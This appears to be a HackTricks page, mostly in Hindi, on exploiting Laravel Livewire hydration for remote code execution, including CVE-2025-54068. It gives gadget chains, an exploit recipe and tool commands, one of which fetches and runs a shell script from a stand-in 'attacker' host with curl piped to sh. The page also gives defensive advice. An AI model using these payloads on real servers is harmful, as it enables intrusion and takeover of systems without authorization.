Laravel Livewire Hydration & Synthesizer Abuse
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Recap of the Livewire state machine
Livewire 3 components अपने state का आदान-प्रदान snapshots के माध्यम से करते हैं, जिनमें data, memo, और एक checksum शामिल होता है। /livewire/update पर हर POST सर्वर‑साइड पर JSON snapshot को रीहाइड्रेट करता है और कतारबद्ध calls/updates को निष्पादित करता है।
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
जो भी APP_KEY रखता है (जो $hashKey निकालने के लिए उपयोग होता है) इसलिए HMAC को पुनःगणना करके मनमाने स्नैपशॉट्स जालसाज़ी कर सकता है।
जटिल प्रॉपर्टीज़ सिंथेटिक टपल्स के रूप में एन्कोड की जाती हैं, जिन्हें Livewire\Drawer\BaseUtils::isSyntheticTuple() द्वारा पहचाना जाता है; प्रत्येक टपल [value, {"s":"<key>", ...meta}] होता है। हाइड्रेशन कोर प्रत्येक टपल को HandleComponents::$propertySynthesizers में चयनित synth को सौंप देता है और बच्चों पर पुनरावृत्ति करता है:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
यह पुनरावर्ती डिज़ाइन Livewire को एक सामान्य ऑब्जेक्ट-इंस्टेंसिएशन इंजन बना देता है जब तक कि attacker या तो tuple metadata या recursion के दौरान प्रोसेस किए गए किसी nested tuple को नियंत्रित कर ले।
गैजेट प्राइमिटिव देने वाले Synthesizers
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | प्रत्येक child को पुनः हाइड्रेट करने के बाद यह new $meta['class']($value) instantiate करता है। किसी भी class जिसकी constructor array लेती हो बनाई जा सकती है, और प्रत्येक आइटम खुद एक synthetic tuple हो सकता है। |
FormObjectSynth (form) | यह new $meta['class']($component, $path) कॉल करता है, फिर attacker-controlled बच्चों से हर public property को $hydrateChild के माध्यम से असाइन करता है। दो loosely typed parameters (या default args) लेने वाले constructors arbitrary public properties तक पहुँचने के लिए पर्याप्त होते हैं। |
ModelSynth (mdl) | जब meta में key मौजूद नहीं होता तो यह return new $class; execute करता है, जिससे attacker control वाले किसी भी class का zero-argument instantiation संभव हो जाता है। |
क्योंकि synths हर nested element पर $hydrateChild को invoke करते हैं, arbitrary gadget graphs tuples को पुनरावर्ती रूप से stack करके बनाए जा सकते हैं।
जब APP_KEY ज्ञात हो तो snapshots का निर्माण
- एक वैध
/livewire/updaterequest कैप्चर करें औरcomponents[0].snapshotको decode करें। - ऐसे nested tuples inject करें जो gadget classes की ओर इशारा करते हों और फिर
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)को पुनः compute करें। - snapshot को फिर से encode करें,
_token/memoको बिना बदले रखें, और request को replay करें।
एक न्यूनतम proof of execution Guzzle’s FnStream और Flysystem’s ShardedPrefixPublicUrlGenerator का उपयोग करता है। एक tuple FnStream को constructor data { "__toString": "phpinfo" } के साथ instantiate करता है, अगला tuple ShardedPrefixPublicUrlGenerator को [FnStreamInstance] को $prefixes के रूप में instantiate करता है। जब Flysystem हर prefix को string में cast करता है, तो PHP attacker-provided __toString callable को invoke करता है, जिससे किसी भी function को बिना arguments के कॉल किया जा सकता है।
फ़ंक्शन कॉल से पूर्ण RCE तक
Livewire के instantiation primitives का लाभ उठाते हुए, Synacktiv ने phpggc की Laravel/RCE4 chain को अनुकूलित किया ताकि hydration उस ऑब्जेक्ट को बूट करे जिसका public Queueable state deserialization को ट्रिगर करे:
- Queueable trait – कोई भी object जो
Illuminate\Bus\Queueableका उपयोग करता है वह public$chainedexpose करता है औरdispatchNextJobInChain()मेंunserialize(array_shift($this->chained))execute करता है। - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) कोCollectionSynth/FormObjectSynthके माध्यम से instantiate किया जाता है जिसमें public$chainedpopulated होता है। - phpggc Laravel/RCE4Adapted –
$chained[0]में संग्रहीत serialized blobPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signedबनाता है।Signed::__invoke()अंततःcall_user_func_array($closure, $args)को कॉल करता है जिससेsystem($cmd)सक्षम होता है। - Stealth termination – एक दूसरा
FnStreamcallable जैसे[new Laravel\Prompts\Terminal(), 'exit']देकर, requestexit()के साथ समाप्त हो जाती है बजाय किसी noisy exception के, जिससे HTTP response साफ रहता है।
Snapshot forgery का ऑटोमेशन
synacktiv/laravel-crypto-killer अब एक livewire mode के साथ आता है जो सब कुछ stitch कर देता है:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
The tool parses the captured snapshot, injects the gadget tuples, recomputes the checksum, and prints a ready-to-send /livewire/update payload.
CVE-2025-54068 – RCE बिना APP_KEY
वेंडर एडवाइज़री के अनुसार, यह समस्या Livewire v3 (>= 3.0.0-beta.1 and < 3.6.3) को प्रभावित करती है और यह केवल v3 तक सीमित है।
updates को component state में बाद में मर्ज किया जाता है जब snapshot checksum वैलिडेट हो जाता है। यदि स्नैपशॉट के अंदर कोई property (या वह बन जाती है) एक synthetic tuple है, तो Livewire attacker-controlled update value को hydrate करते समय उसकी meta को पुनः उपयोग कर लेता है:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Find a Livewire component with an untyped public property (e.g.,
public $count;). - Send an update that sets that property to
[]. The next snapshot now stores it as[[], {"s": "arr"}].
A minimal type-juggling flow looks like this:
POST /livewire/update
...
"updates": {"count": []}
Then the next snapshot stores a tuple that keeps the arr synthesizer metadata:
"count": [[], {"s": "arr"}]
- Craft another
updatespayload where that property contains a deeply nested array embedding tuples such as[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - During recursion,
hydrate()evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed. - Reuse the same
CollectionSynth/FormObjectSynthprimitives to instantiate a Queueable gadget whose$chained[0]contains the phpggc payload. Livewire processes the forged updates, invokesdispatchNextJobInChain(), and reachessystem(<cmd>)without knowingAPP_KEY.
इसका काम करने के प्रमुख कारण:
updatessnapshot checksum में शामिल नहीं होते।getMetaForPath()उस synth metadata पर भरोसा करता है जो पहले से उस property के लिए मौजूद थी, भले ही attacker ने पहले इसे weak typing के माध्यम से tuple बना दिया हो।- Recursion और weak typing मिलकर प्रत्येक nested array को एक नया tuple माना जाने देते हैं, इसलिए arbitrary synth keys और arbitrary classes अंततः hydration तक पहुँचते हैं।
Livepyre – अंत-से-अंत शोषण
Livepyre automates both the APP_KEY-less CVE and the signed-snapshot path:
- Fingerprints the deployed Livewire version by parsing
<script src="/livewire/livewire.js?id=HASH">and mapping the hash to vulnerable releases. - Collects baseline snapshots by replaying benign actions and extracting
components[].snapshot. - Generates either an
updates-only payload (CVE-2025-54068) or a forged snapshot (known APP_KEY) embedding the phpggc chain. - If no object-typed parameter is found in a snapshot, Livepyre falls back to brute-forcing candidate params to reach a coercible property.
सामान्य उपयोग:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check एक non-destructive probe चलाता है, -F version gating को स्किप करता है, -H और -P custom headers या proxies जोड़ते हैं, और --function/--param gadget chain द्वारा invoke किए गए php function को customise करते हैं।
रक्षा संबंधी विचार
- Livewire के fixed बिल्ड्स (vendor bulletin के अनुसार >= 3.6.4) में अपग्रेड करें और CVE-2025-54068 के लिए vendor patch तैनात करें।
- Livewire components में कमजोर-टाइप की public properties से बचें; explicit scalar types property मानों को arrays/tuples में coercion होने से रोकते हैं।
- केवल उन्हीं synthesizers को रजिस्टर करें जिनकी आपको वाकई आवश्यकता है और user-controlled metadata (
$meta['class']) को untrusted मानें। - ऐसे अपडेट्स को रिजेक्ट करें जो किसी property के JSON प्रकार को बदल देते हैं (उदाहरण: scalar -> array), जब तक स्पष्ट रूप से अनुमति न हो, और stale tuples को पुन: उपयोग करने के बजाय synth metadata को पुनः-उत्पन्न करें।
- किसी भी disclosure के बाद तुरंत
APP_KEYघुमाएँ क्योंकि यह ऑफलाइन snapshot forging सक्षम करता है चाहे code-base कितना भी patched क्यों न हो।
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


